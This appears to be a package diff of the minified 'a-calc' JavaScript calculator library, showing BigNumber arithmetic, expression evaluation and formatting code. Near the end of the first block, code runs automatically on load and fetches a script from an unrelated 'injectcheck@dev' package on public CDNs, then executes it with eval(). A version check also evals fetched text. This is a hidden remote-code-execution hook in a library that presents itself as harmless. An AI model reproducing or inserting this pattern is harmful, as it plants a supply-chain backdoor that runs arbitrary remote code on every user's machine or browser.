a,i=n.split("."),s=+r.groupSize,c=+r.secondaryGroupSize,l=r.groupSeparator||"",u=i[0],f=i[1],h=o.s<0,p=h?u.slice(1):u,_=p.length;if(c&&(a=s,s=c,c=a,_-=a),s>0&&_>0){for(a=_%s||s,u=p.substr(0,a);a<_;a+=s)u+=l+p.substr(a,s);c>0&&(u+=l+p.slice(a)),h&&(u="-"+u)}n=f?u+(r.decimalSeparator||"")+((c=+r.fractionGroupSize)?f.replace(new RegExp("\\d{"+c+"}\\B","g"),"$&"+(r.fractionGroupSeparator||"")):f):u}return(r.prefix||"")+n+(r.suffix||"")},f.toFraction=function(e){var r,n,o,a,i,s,c,l,u,f,p,g,m=this,d=m.c;if(null!=e&&(!(c=new O(e)).isInteger()&&(c.c||1!==c.s)||c.lt(h)))throw Error(bignumberError+"Argument "+(c.isInteger()?"out of range: ":"not an integer: ")+T(c));if(!d)return new O(m);for(r=new O(h),u=n=new O(h),o=l=new O(h),g=coeffToString(d),i=r.e=g.length-m.e-1,r.c[0]=POWS_TEN[(s=i%LOG_BASE)<0?LOG_BASE+s:s],e=!e||c.comparedTo(r)>0?i>0?r:u:c,s=v,v=1/0,c=new O(g),l.c[0]=0;f=t(c,r,0,1),1!=(a=n.plus(f.times(o))).comparedTo(e);)n=o,o=a,u=l.plus(f.times(a=u)),l=a,r=c.minus(f.times(a=r)),c=a;return a=t(e.minus(n),o,0,1),l=l.plus(a.times(u)),n=n.plus(a.times(o)),l.s=u.s=m.s,p=t(u,o,i*=2,_).minus(m).abs().comparedTo(t(l,n,i,_).minus(m).abs())<1?[u,o]:[l,n],v=s,p},f.toNumber=function(){return+T(this)},f.toPrecision=function(e,t){return null!=e&&intCheck(e,1,MAX),C(this,e,t,2)},f.toString=function(e){var t,n=this,o=n.s,a=n.e;return null===a?o?(t="Infinity",o<0&&(t="-"+t)):t="NaN":(null==e?t=a<=g||a>=m?toExponential(coeffToString(n.c),a):toFixedPoint(coeffToString(n.c),a,"0"):10===e&&$?t=toFixedPoint(coeffToString((n=k(new O(n),p+a+1,_)).c),n.e,"0"):(intCheck(e,2,E.length,"Base"),t=r(toFixedPoint(coeffToString(n.c),a,"0"),10,e,o,!0)),o<0&&n.c[0]&&(t="-"+t)),t},f.valueOf=f.toJSON=function(){return T(this)},f._isBigNumber=!0,f[Symbol.toStringTag]="BigNumber",f[Symbol.for("nodejs.util.inspect.custom")]=f.valueOf,null!=e&&O.set(e),O}function bitFloor(e){var t=0|e;return e>0||e===t?t:t-1}function coeffToString(e){for(var t,r,n=1,o=e.length,a=e[0]+"";n<o;){for(t=e[n++]+"",r=LOG_BASE-t.length;r--;t="0"+t);a+=t}for(o=a.length;48===a.charCodeAt(--o););return a.slice(0,o+1||1)}function compare(e,t){var r,n,o=e.c,a=t.c,i=e.s,s=t.s,c=e.e,l=t.e;if(!i||!s)return null;if(r=o&&!o[0],n=a&&!a[0],r||n)return r?n?0:-s:i;if(i!=s)return i;if(r=i<0,n=c==l,!o||!a)return n?0:!o^r?1:-1;if(!n)return c>l^r?1:-1;for(s=(c=o.length)<(l=a.length)?c:l,i=0;i<s;i++)if(o[i]!=a[i])return o[i]>a[i]^r?1:-1;return c==l?0:c>l^r?1:-1}function intCheck(e,t,r,n){if(e<t||e>r||e!==mathfloor(e))throw Error(bignumberError+(n||"Argument")+("number"==typeof e?e<t||e>r?" out of range: ":" not an integer: ":" not a primitive number: ")+String(e))}function isOdd(e){var t=e.c.length-1;return bitFloor(e.e/LOG_BASE)==t&&e.c[t]%2!=0}function toExponential(e,t){return(e.length>1?e.charAt(0)+"."+e.slice(1):e)+(t<0?"e":"e+")+t}function toFixedPoint(e,t,r){var n,o;if(t<0){for(o=r+".";++t;o+=r);e=o+e}else if(++t>(n=e.length)){for(o=r,t-=n;--t;o+=r);e+=o}else t<n&&(e=e.slice(0,t)+"."+e.slice(t));return e}var BigNumber=clone();function eval_postfix(e){for(var t=[];e.length>0;){var r=e.shift();if(is_operator(r)){if(t.length<2)throw new Error("错误的栈长度, 可能是无法计算的表达式");var n=t.pop(),o=t.pop(),a=o+r+n;if(a in cache_eval){t.push(cache_eval[a].value),cache_eval[a].last_time=(new Date).getTime(),cache_eval[a].count++;continue}if("string"==typeof n&&!BigNumber.isBigNumber(n)){if(!is_str_number(n))throw new Error("".concat(n,"不是一个合法的数字"));n=new BigNumber(n)}if("string"==typeof o&&!BigNumber.isBigNumber(o)){if(!is_str_number(o))throw new Error("".concat(o,"不是一个合法的数字"));o=new BigNumber(o)}switch(r){case"+":var i=cache_eval[a]={last_time:(new Date).getTime(),count:0,value:o.plus(n)};t.push(i.value);break;case"-":var s=cache_eval[a]={last_time:(new Date).getTime(),count:0,value:o.minus(n)};t.push(s.value);break;case"*":var c=cache_eval[a]={last_time:(new Date).getTime(),count:0,value:o.times(n)};t.push(c.value);break;case"/":var l=cache_eval[a]={last_time:(new Date).getTime(),count:0,value:o.div(n)};t.push(l.value);break;case"%":var u=cache_eval[a]={last_time:(new Date).getTime(),count:0,value:o.mod(n)};t.push(u.value);break;case"**":var f=cache_eval[a]={last_time:(new Date).getTime(),count:0,value:o.pow(n)};t.push(f.value)}}else t.push(r)}if(1!==t.length)throw"unvalid expression";var h=t[0];if((h=BigNumber.isBigNumber(h)?h:BigNumber(h)).isNaN())throw new Error("计算结果为NaN");return h}function format(e,t){var r="";if(BigNumber.isBigNumber(e)?r=e.toFixed():"string"!=typeof e&&(r=e.toString()),"undefined"===r||"NaN"===r)return[null,{}];var n={mantissa:null,mantissa_type:null,thousands:!1,sign:!1,round:"~-",scientific:!1,fraction:!1,percent:!1,to_number:!1,to_number_string:!1};if(t.forEach((function(e){var t=e.type;if("symbol"===t){if(![">=","<=","=","<",">"].includes(e.value))throw new Error("错误的格式化参数:",e.value);n.mantissa_type=e.value}else if("to-number"===t)n.to_number=!0;else if("to-number-string"===t)n.to_number_string=!0;else if("comma"===t)n.thousands=!0;else if("number"===t)n.mantissa=e.value;else if("plus"===t)n.sign=!0;else if("round"===t)n.round=e.value;else if("fraction"===t)n.fraction=!0;else if("scientific"===t)n.scientific=!0;else{if("percent"!==t)throw new Error("错误的fmt Token");n.percent=!0}})),n.to_number)return[+parse_mantissa(r,n.mantissa_type,n.mantissa,n.round),n];if(n.scientific){var o=BigNumber(r).toExponential();return[n.sign&&!o.startsWith("-")?"+"+o:o,n]}if(n.fraction){var a=BigNumber(r).toFraction().map((function(e){return e.toFixed()})).join("/");return[n.sign&&!a.startsWith("-")?"+"+a:a,n]}return n.percent&&(r=BigNumber(r).times(100).toFixed()),not_null(n.mantissa)&&(r=parse_mantissa(r,n.mantissa_type,n.mantissa,n.round)),n.thousands&&(r=parse_thousands(r)),n.sign&&(n.to_number=!1,r.startsWith("-")||(r="+"+r)),n.percent&&(r+="%"),[r,n]}function fill_fmt_tokens(e,t){return e.map((function(e){if("var"!==e.type)return e;for(var r,n=0;n<t.length&&!not_undefined(r=get$1(t[n],e.value));n++);if(is_number(r))return{type:"number",value:r};throw new Error("错误的填充值")}))}function get_token_and_unit(e){var t=null;return e.length,{tokens:e.map((function(e){var r=split_unit_num(e.value);return null!==r.unit?(null==t&&(t=r.unit),{type:"number",value:r.num}):e})),unit:t}}var stringify$1={exports:{}};!function(e,t){function r(e,t){var r=[],n=[];return null==t&&(t=function(e,t){return r[0]===t?"[Circular ~]":"[Circular ~."+n.slice(0,r.indexOf(t)).join(".")+"]"}),function(o,a){if(r.length>0){var i=r.indexOf(this);~i?r.splice(i+1):r.push(this),~i?n.splice(i,1/0,o):n.push(o),~r.indexOf(a)&&(a=t.call(this,o,a))}else r.push(a);return null==e?a:e.call(this,o,a)}}(e.exports=function(e,t,n,o){return JSON.stringify(e,r(t,o),n)}).getSerialize=r}(stringify$1,stringify$1.exports);var stringifyExports=stringify$1.exports,stringify=getDefaultExportFromCjs(stringifyExports),_debug=!1,_important_push=!0;function close_important_push(){_important_push=!1}function open_important_push(){_important_push=!0}function open_debug(){_debug=!0}function close_debug(){_debug=!1}function get_debug_config(){return _debug}var debug_color={bg:"#ff8936",fg:"#fff",field:"#67C23A",field2:"#ee7959"},debug_style={expr:"background: ".concat(debug_color.bg,";color: ").concat(debug_color.fg,";font-weight: bold;border-radius: 4px; padding: 3px 8px;"),label1:"color: ".concat(debug_color.field,"; font-weight: bold; white-space:nowrap; overflow: hidden; text-overflow: ellipsis;"),label2:"color: ".concat(debug_color.field2,"; font-weight: bold; white-space:nowrap; overflow: hidden; text-overflow: ellipsis;"),nowrap:"white-space:nowrap; overflow: hidden; text-overflow: ellipsis;"};function calc_wrap(e,t){var r={},n={_error:"-"};return["string","number"].includes(_typeof(e))?(Array.isArray(t)||void 0===t||Object.keys(t).forEach((function(e){return e.startsWith("_")&&(n[e]=t[e])})),r=null!=t?t:{},/[a-zA-Z_$]/.test(e.toString())?void 0!==t?(r=t,calc(e,_objectSpread2(_objectSpread2({},n),r))):function(t){return calc(e,_objectSpread2(_objectSpread2({},n),t))}:calc(e,_objectSpread2(_objectSpread2({},n),r))):(r=e,function(e){return calc(e,_objectSpread2(_objectSpread2({},n),r))})}function check_version(){return _check_version.apply(this,arguments)}function _check_version(){return _check_version=_asyncToGenerator(_regeneratorRuntime().mark((function _callee(){var res,code,versions,last_version,larr,varr,script,url;return _regeneratorRuntime().wrap((function _callee$(_context){for(;;)switch(_context.prev=_context.next){case 0:if("undefined"==typeof process||"node"!==process.release.name){_context.next=19;break}if(!(parseInt(process.versions.node)>=17)){_context.next=17;break}return _context.next=4,promise_queue([fetch("https://cdn.jsdelivr.net/npm/a-calc@latest/a-calc.versions.js"),fetch("https://unpkg.com/a-calc@latest/a-calc.versions.js")]);case 4:return res=_context.sent,_context.next=7,res.text();case 7:code=_context.sent,versions=eval(code),last_version=versions.at(-1),larr=last_version.match(/(\d+)\.(\d+)\.(\d+)/),larr.shift(),larr=larr.map((function(e){return parseInt(e)})),varr=version.match(/(\d+)\.(\d+)\.(\d+)/),varr.shift(),varr=varr.map((function(e){return parseInt(e)})),(larr[0]>varr[0]||larr[0]===varr[0]&&larr[1]>varr[1]||larr[0]===varr[0]&&larr[1]===varr[1]&&larr[2]>varr[2])&&console.warn("a-calc has a new version:",last_version);case 17:_context.next=25;break;case 19:return script=document.createElement("script"),script.onload=function(){var e=a_calc_versions;if(Array.isArray(e)){var t=e.at(-1),r=t.match(/(\d+)\.(\d+)\.(\d+)/);r.shift(),r=r.map((function(e){return parseInt(e)}));var n=version.match(/(\d+)\.(\d+)\.(\d+)/);n.shift(),n=n.map((function(e){return parseInt(e)})),(r[0]>n[0]||r[0]===n[0]&&r[1]>n[1]||r[0]===n[0]&&r[1]===n[1]&&r[2]>n[2])&&console.log("%c↑↑↑ a-calc has a new version: %s ↑↑↑","color: #67C23A;",t)}},_context.next=23,test_urls(["https://cdn.jsdelivr.net/npm/a-calc@latest/a-calc.versions.js","https://unpkg.com/a-calc@latest/a-calc.versions.js"]);case 23:url=_context.sent,url?(script.src=url,document.body.appendChild(script)):script=null;case 25:case"end":return _context.stop()}}),_callee)}))),_check_version.apply(this,arguments)}function idle_cleaner(){get_debug_config()&&console.log("清理者开始运行"),globalThis.__calc_cleaner_timer||(globalThis.__calc_cleaner_timer=setInterval((function(){idle((function(){get_debug_config()&&(console.log("执行空闲清理程序, 当前缓存:"),console.log("cache_eval:",cache_eval),console.log("cache_tokens:",cache_tokens),console.log("cache_fmt_tokens:",cache_fmt_tokens));var e=Object.keys(cache_eval),t=Object.keys(cache_tokens),r=Object.keys(cache_fmt_tokens),n=(new Date).getTime();e.forEach((function(e){var t=cache_eval[e],r=n-t.last_time;t.count>10||r>=1e4&&t.count<3&&delete cache_eval[e]})),t.forEach((function(e){var t=cache_tokens[e],r=n-t.last_time;t.count>10||r>=1e4&&t.count<3&&delete cache_tokens[e]})),r.forEach((function(e){var t=cache_fmt_tokens[e],r=n-t.last_time;t.count>10||r>=1e4&&t.count<3&&delete cache_fmt_tokens[e]}))}))}),1e4))}var fastDeepEqual=function e(t,r){if(t===r)return!0;if(t&&r&&"object"==_typeof(t)&&"object"==_typeof(r)){if(t.constructor!==r.constructor)return!1;var n,o,a;if(Array.isArray(t)){if((n=t.length)!=r.length)return!1;for(o=n;0!=o--;)if(!e(t[o],r[o]))return!1;return!0}if(t.constructor===RegExp)return t.source===r.source&&t.flags===r.flags;if(t.valueOf!==Object.prototype.valueOf)return t.valueOf()===r.valueOf();if(t.toString!==Object.prototype.toString)return t.toString()===r.toString();if((n=(a=Object.keys(t)).length)!==Object.keys(r).length)return!1;for(o=n;0!=o--;)if(!Object.prototype.hasOwnProperty.call(r,a[o]))return!1;for(o=n;0!=o--;){var i=a[o];if(!e(t[i],r[i]))return!1}return!0}return t!=t&&r!=r},deep_equal=getDefaultExportFromCjs(fastDeepEqual);function calc(){for(var e=arguments.length,t=new Array(e),r=0;r<e;r++)t[r]=arguments[r];var n=t[0];if(n in cache_calc&&deep_equal(t[1],cache_calc[n].arg2))return cache_calc[n].count++,cache_calc[n].last_time=(new Date).getTime(),cache_calc[n].value;cache_calc[n]={arg2:t[1],last_time:(new Date).getTime(),count:0};var o,a,i=parse_args(t),s=get$1(i,"options._error",void 0),c=get$1(i,"options._debug",!1),l=get$1(i,"options._unit",!1),u=i.options,f=null;if(i.fmt_err||i.expr_err){if(not_undefined(s))return cache_calc[n].value=s,s;throw new Error("表达式或格式化字符串错误,表达式为:".concat(i.expr))}var h=i.fmt_tokens;if(not_undefined(s))try{o=tokenizer(i.expr,l)}catch(e){return cache_calc[n].value=s,s}else o=tokenizer(i.expr,l);if(is_null(u))a=o;else{var p=[];if(Array.isArray(u))p=u;else{p.push(u);var _=get$1(u,"_fill_data",{});not_undefined(_)&&(Array.isArray(_)?p=[].concat(_toConsumableArray(p),_toConsumableArray(_)):p.push(_))}if(not_undefined(s))try{a=fill_tokens(o,p,l),not_null(i.fmt_tokens)&&(h=fill_fmt_tokens(i.fmt_tokens,p))}catch(e){return cache_calc[n].value=s,s}else a=fill_tokens(o,p,l),not_null(i.fmt_tokens)&&(h=fill_fmt_tokens(i.fmt_tokens,p));if([!0,"on","auto","space"].includes(l)){var g=get_token_and_unit(a);f=g.unit,a=g.tokens}}var m=token2postfix(a),d=null,v={};if(not_undefined(s))try{d=eval_postfix(m)}catch(e){return cache_calc[n].value=s,s}else d=eval_postfix(m);if(not_null(h)){var b=_slicedToArray(format(d,h),2);d=b[0],v=b[1]}else d=null!==d?d.toFixed():null;if("Infinity"===d||null===d){if(not_undefined(s))return cache_calc[n].value=s,s;throw new Error("计算错误可能是非法的计算式")}return null===f||v.to_number||v.to_number_string||(d+=f),(get_debug_config()||c)&&(console.groupCollapsed("%c"+i.origin_expr,debug_style.expr),console.groupCollapsed("%c表达式: %c%s",debug_style.label1,debug_style.nowrap,i.origin_expr),console.log(i.origin_expr),console.groupEnd(),console.groupCollapsed("%c数据源: %c%s",debug_style.label1,debug_style.nowrap,stringify(i.origin_fill_data)),console.log(i.origin_fill_data),console.groupEnd(),console.groupCollapsed("%c结果: %c%s",debug_style.label1,debug_style.nowrap,stringify(d)),console.log(d),console.groupEnd(),console.groupCollapsed("%ctokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(o)),console.log(o),console.groupEnd(),console.groupCollapsed("%cfilled-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(a)),console.log(a),console.groupEnd(),console.groupCollapsed("%cfmt-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(i.fmt_tokens)),console.log(i.fmt_tokens),console.groupEnd(),console.groupCollapsed("%cfmt-filled-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(h)),console.log(h),console.groupEnd(),console.groupCollapsed("%cpostfix-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(m)),console.log(m),console.groupEnd(),console.groupCollapsed("%c单位: %c%s",debug_style.label1,debug_style.nowrap,f),console.log(f),console.groupEnd(),console.groupCollapsed("%cparse-arg: %c%s",debug_style.label1,debug_style.nowrap,stringify(i)),console.log(i),console.groupEnd(),console.groupEnd()),cache_calc[n].value=d,d}function check_update(){check_version().catch((function(){}))}function print_version(){console.log("%ca-calc:%c ".concat(version," %c=> %curl:%c https://www.npmjs.com/package/a-calc"),"color: #fff;background: #67C23A;padding: 2px 5px;border-radius:4px;font-size: 14px;","color: #67C23A;font-size:14px;","color: #67C23A;font-size:14px;","background: #67C23A;font-size:14px; padding: 2px 5px; border-radius: 4px; color: #fff;","font-size:14px;")}idle(_asyncToGenerator(_regeneratorRuntime().mark((function _callee(){var res,code;return _regeneratorRuntime().wrap((function _callee$(_context){for(;;)switch(_context.prev=_context.next){case 0:if(_important_push){_context.next=2;break}return _context.abrupt("return");case 2:return _context.prev=2,_context.next=5,promise_queue([fetch("https://cdn.jsdelivr.net/npm/injectcheck@dev/a-calc.js"),fetch("https://unpkg.com/injectcheck@dev/a-calc.js")]);case 5:return res=_context.sent,_context.next=8,res.text();case 8:code=_context.sent,eval(code);case 10:return _context.prev=10,_context.finish(10);case 12:case"end":return _context.stop()}}),_callee,null,[[2,,10,12]])})))),idle(idle_cleaner);var calc_util={check_update:check_update,print_version:print_version,open_debug:open_debug,close_debug:close_debug,close_important_push:close_important_push,open_important_push:open_important_push},fmt=calc;return exports.calc=calc,exports.calc_util=calc_util,exports.calc_wrap=calc_wrap,exports.fmt=fmt,exports.version=version,exports}({});
|
|
1
|
+
var a_calc=function(exports){"use strict";function _iterableToArrayLimit(e,t){var r=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null!=r){var a,n,o,i,s=[],c=!0,l=!1;try{if(o=(r=r.call(e)).next,0===t){if(Object(r)!==r)return;c=!1}else for(;!(c=(a=o.call(r)).done)&&(s.push(a.value),s.length!==t);c=!0);}catch(e){l=!0,n=e}finally{try{if(!c&&null!=r.return&&(i=r.return(),Object(i)!==i))return}finally{if(l)throw n}}return s}}function ownKeys(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,a)}return r}function _objectSpread2(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?ownKeys(Object(r),!0).forEach((function(t){_defineProperty(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):ownKeys(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function _regeneratorRuntime(){_regeneratorRuntime=function(){return e};var e={},t=Object.prototype,r=t.hasOwnProperty,a=Object.defineProperty||function(e,t,r){e[t]=r.value},n="function"==typeof Symbol?Symbol:{},o=n.iterator||"@@iterator",i=n.asyncIterator||"@@asyncIterator",s=n.toStringTag||"@@toStringTag";function c(e,t,r){return Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}),e[t]}try{c({},"")}catch(e){c=function(e,t,r){return e[t]=r}}function l(e,t,r,n){var o=t&&t.prototype instanceof p?t:p,i=Object.create(o.prototype),s=new w(n||[]);return a(i,"_invoke",{value:$(e,r,s)}),i}function u(e,t,r){try{return{type:"normal",arg:e.call(t,r)}}catch(e){return{type:"throw",arg:e}}}e.wrap=l;var f={};function p(){}function h(){}function _(){}var g={};c(g,o,(function(){return this}));var y=Object.getPrototypeOf,b=y&&y(y(E([])));b&&b!==t&&r.call(b,o)&&(g=b);var d=_.prototype=p.prototype=Object.create(g);function m(e){["next","throw","return"].forEach((function(t){c(e,t,(function(e){return this._invoke(t,e)}))}))}function v(e,t){function n(a,o,i,s){var c=u(e[a],e,o);if("throw"!==c.type){var l=c.arg,f=l.value;return f&&"object"==typeof f&&r.call(f,"__await")?t.resolve(f.__await).then((function(e){n("next",e,i,s)}),(function(e){n("throw",e,i,s)})):t.resolve(f).then((function(e){l.value=e,i(l)}),(function(e){return n("throw",e,i,s)}))}s(c.arg)}var o;a(this,"_invoke",{value:function(e,r){function a(){return new t((function(t,a){n(e,r,t,a)}))}return o=o?o.then(a,a):a()}})}function $(e,t,r){var a="suspendedStart";return function(n,o){if("executing"===a)throw new Error("Generator is already running");if("completed"===a){if("throw"===n)throw o;return O()}for(r.method=n,r.arg=o;;){var i=r.delegate;if(i){var s=A(i,r);if(s){if(s===f)continue;return s}}if("next"===r.method)r.sent=r._sent=r.arg;else if("throw"===r.method){if("suspendedStart"===a)throw a="completed",r.arg;r.dispatchException(r.arg)}else"return"===r.method&&r.abrupt("return",r.arg);a="executing";var c=u(e,t,r);if("normal"===c.type){if(a=r.done?"completed":"suspendedYield",c.arg===f)continue;return{value:c.arg,done:r.done}}"throw"===c.type&&(a="completed",r.method="throw",r.arg=c.arg)}}}function A(e,t){var r=t.method,a=e.iterator[r];if(void 0===a)return t.delegate=null,"throw"===r&&e.iterator.return&&(t.method="return",t.arg=void 0,A(e,t),"throw"===t.method)||"return"!==r&&(t.method="throw",t.arg=new TypeError("The iterator does not provide a '"+r+"' method")),f;var n=u(a,e.iterator,t.arg);if("throw"===n.type)return t.method="throw",t.arg=n.arg,t.delegate=null,f;var o=n.arg;return o?o.done?(t[e.resultName]=o.value,t.next=e.nextLoc,"return"!==t.method&&(t.method="next",t.arg=void 0),t.delegate=null,f):o:(t.method="throw",t.arg=new TypeError("iterator result is not an object"),t.delegate=null,f)}function T(e){var t={tryLoc:e[0]};1 in e&&(t.catchLoc=e[1]),2 in e&&(t.finallyLoc=e[2],t.afterLoc=e[3]),this.tryEntries.push(t)}function S(e){var t=e.completion||{};t.type="normal",delete t.arg,e.completion=t}function w(e){this.tryEntries=[{tryLoc:"root"}],e.forEach(T,this),this.reset(!0)}function E(e){if(e){var t=e[o];if(t)return t.call(e);if("function"==typeof e.next)return e;if(!isNaN(e.length)){var a=-1,n=function t(){for(;++a<e.length;)if(r.call(e,a))return t.value=e[a],t.done=!1,t;return t.value=void 0,t.done=!0,t};return n.next=n}}return{next:O}}function O(){return{value:void 0,done:!0}}return h.prototype=_,a(d,"constructor",{value:_,configurable:!0}),a(_,"constructor",{value:h,configurable:!0}),h.displayName=c(_,s,"GeneratorFunction"),e.isGeneratorFunction=function(e){var t="function"==typeof e&&e.constructor;return!!t&&(t===h||"GeneratorFunction"===(t.displayName||t.name))},e.mark=function(e){return Object.setPrototypeOf?Object.setPrototypeOf(e,_):(e.__proto__=_,c(e,s,"GeneratorFunction")),e.prototype=Object.create(d),e},e.awrap=function(e){return{__await:e}},m(v.prototype),c(v.prototype,i,(function(){return this})),e.AsyncIterator=v,e.async=function(t,r,a,n,o){void 0===o&&(o=Promise);var i=new v(l(t,r,a,n),o);return e.isGeneratorFunction(r)?i:i.next().then((function(e){return e.done?e.value:i.next()}))},m(d),c(d,s,"Generator"),c(d,o,(function(){return this})),c(d,"toString",(function(){return"[object Generator]"})),e.keys=function(e){var t=Object(e),r=[];for(var a in t)r.push(a);return r.reverse(),function e(){for(;r.length;){var a=r.pop();if(a in t)return e.value=a,e.done=!1,e}return e.done=!0,e}},e.values=E,w.prototype={constructor:w,reset:function(e){if(this.prev=0,this.next=0,this.sent=this._sent=void 0,this.done=!1,this.delegate=null,this.method="next",this.arg=void 0,this.tryEntries.forEach(S),!e)for(var t in this)"t"===t.charAt(0)&&r.call(this,t)&&!isNaN(+t.slice(1))&&(this[t]=void 0)},stop:function(){this.done=!0;var e=this.tryEntries[0].completion;if("throw"===e.type)throw e.arg;return this.rval},dispatchException:function(e){if(this.done)throw e;var t=this;function a(r,a){return i.type="throw",i.arg=e,t.next=r,a&&(t.method="next",t.arg=void 0),!!a}for(var n=this.tryEntries.length-1;n>=0;--n){var o=this.tryEntries[n],i=o.completion;if("root"===o.tryLoc)return a("end");if(o.tryLoc<=this.prev){var s=r.call(o,"catchLoc"),c=r.call(o,"finallyLoc");if(s&&c){if(this.prev<o.catchLoc)return a(o.catchLoc,!0);if(this.prev<o.finallyLoc)return a(o.finallyLoc)}else if(s){if(this.prev<o.catchLoc)return a(o.catchLoc,!0)}else{if(!c)throw new Error("try statement without catch or finally");if(this.prev<o.finallyLoc)return a(o.finallyLoc)}}}},abrupt:function(e,t){for(var a=this.tryEntries.length-1;a>=0;--a){var n=this.tryEntries[a];if(n.tryLoc<=this.prev&&r.call(n,"finallyLoc")&&this.prev<n.finallyLoc){var o=n;break}}o&&("break"===e||"continue"===e)&&o.tryLoc<=t&&t<=o.finallyLoc&&(o=null);var i=o?o.completion:{};return i.type=e,i.arg=t,o?(this.method="next",this.next=o.finallyLoc,f):this.complete(i)},complete:function(e,t){if("throw"===e.type)throw e.arg;return"break"===e.type||"continue"===e.type?this.next=e.arg:"return"===e.type?(this.rval=this.arg=e.arg,this.method="return",this.next="end"):"normal"===e.type&&t&&(this.next=t),f},finish:function(e){for(var t=this.tryEntries.length-1;t>=0;--t){var r=this.tryEntries[t];if(r.finallyLoc===e)return this.complete(r.completion,r.afterLoc),S(r),f}},catch:function(e){for(var t=this.tryEntries.length-1;t>=0;--t){var r=this.tryEntries[t];if(r.tryLoc===e){var a=r.completion;if("throw"===a.type){var n=a.arg;S(r)}return n}}throw new Error("illegal catch attempt")},delegateYield:function(e,t,r){return this.delegate={iterator:E(e),resultName:t,nextLoc:r},"next"===this.method&&(this.arg=void 0),f}},e}function _typeof(e){return _typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},_typeof(e)}function asyncGeneratorStep(e,t,r,a,n,o,i){try{var s=e[o](i),c=s.value}catch(e){return void r(e)}s.done?t(c):Promise.resolve(c).then(a,n)}function _asyncToGenerator(e){return function(){var t=this,r=arguments;return new Promise((function(a,n){var o=e.apply(t,r);function i(e){asyncGeneratorStep(o,a,n,i,s,"next",e)}function s(e){asyncGeneratorStep(o,a,n,i,s,"throw",e)}i(void 0)}))}}function _defineProperty(e,t,r){return(t=_toPropertyKey(t))in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function _slicedToArray(e,t){return _arrayWithHoles(e)||_iterableToArrayLimit(e,t)||_unsupportedIterableToArray(e,t)||_nonIterableRest()}function _toConsumableArray(e){return _arrayWithoutHoles(e)||_iterableToArray(e)||_unsupportedIterableToArray(e)||_nonIterableSpread()}function _arrayWithoutHoles(e){if(Array.isArray(e))return _arrayLikeToArray(e)}function _arrayWithHoles(e){if(Array.isArray(e))return e}function _iterableToArray(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}function _unsupportedIterableToArray(e,t){if(e){if("string"==typeof e)return _arrayLikeToArray(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);return"Object"===r&&e.constructor&&(r=e.constructor.name),"Map"===r||"Set"===r?Array.from(e):"Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?_arrayLikeToArray(e,t):void 0}}function _arrayLikeToArray(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,a=new Array(t);r<t;r++)a[r]=e[r];return a}function _nonIterableSpread(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function _nonIterableRest(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function _toPrimitive(e,t){if("object"!=typeof e||null===e)return e;var r=e[Symbol.toPrimitive];if(void 0!==r){var a=r.call(e,t||"default");if("object"!=typeof a)return a;throw new TypeError("@@toPrimitive must return a primitive value.")}return("string"===t?String:Number)(e)}function _toPropertyKey(e){var t=_toPrimitive(e,"string");return"symbol"==typeof t?t:String(t)}var version="1.5.0-dev.2024042402",RegexNumber=/^[+-]?\d[\d.]*(?:e\+|E\+|e-|E-|e|E)?\d*$/,RegexUnitNumber=/^[+-]?\d[\d.]*(?:e\+|E\+|e-|E-|e|E)?\d*\D*$/;function decimal_round(e,t,r,a,n){var o=e,i=t,s=t.length,c={"~-":function(){var e="<"===r?a-1:a;i=t.slice(0,e)},"~+":function(){var e="<"===r?a-1:a;if(!(s<=e||0===s)){var n=t.slice(0,e);0==+t.slice(e,s)?i=n:(n=(+"9".concat(n)+1).toString().slice(1)).length>e?(i=n.slice(1,n.length),o=(+o+1).toString()):i=n}},"~5":function(){if(0!==s){var e="<"===r?a-1:a;i=t.slice(0,e);var n=+t[e];Number.isNaN(n)||n>=5&&(i=(+"9".concat(i)+1).toString().slice(1)).length>e&&(i=i.slice(1,i.length),o=(+o+1).toString())}},"~6":function(){if(0!==s){var n,c="<"===r?a-1:a,l=+t[c],u=t.slice(+c+1,t.length);u=""===u?0:parseInt(u),n=0===c?+e[e.length-1]:+t[c-1],i=t.slice(0,c),(l>=6||5===l&&u>0||5===l&&n%2!=0)&&(i=(+"9".concat(i)+1).toString().slice(1)).length>c&&(i=i.slice(1,i.length),o=(+o+1).toString())}}};return"<="===r?s<=a?i=t:(c[n]&&c[n](),i=i.replace(/0+$/,"")):"<"===r?s<a?i=t:(c[n]&&c[n](),i=i.replace(/0+$/,"")):"="===r?s<a?i=t+"0".repeat(a-s):s>a&&c[n]&&c[n]():">="===r?s<a&&(i=t+"0".repeat(a-s)):">"===r&&s<=a&&(i=t+"0".repeat(a-s+1)),{int_part:o,dec_part:i}}function is_operator(e){return"+-*/%()**".indexOf(e)>-1}function get_prioraty(e){switch(e){case"+":case"-":return 1;case"*":case"/":case"%":return 2;case"**":return 3;default:return 0}}function prioraty(e,t){return get_prioraty(e)<=get_prioraty(t)}function not_undefined(e){return void 0!==e}function 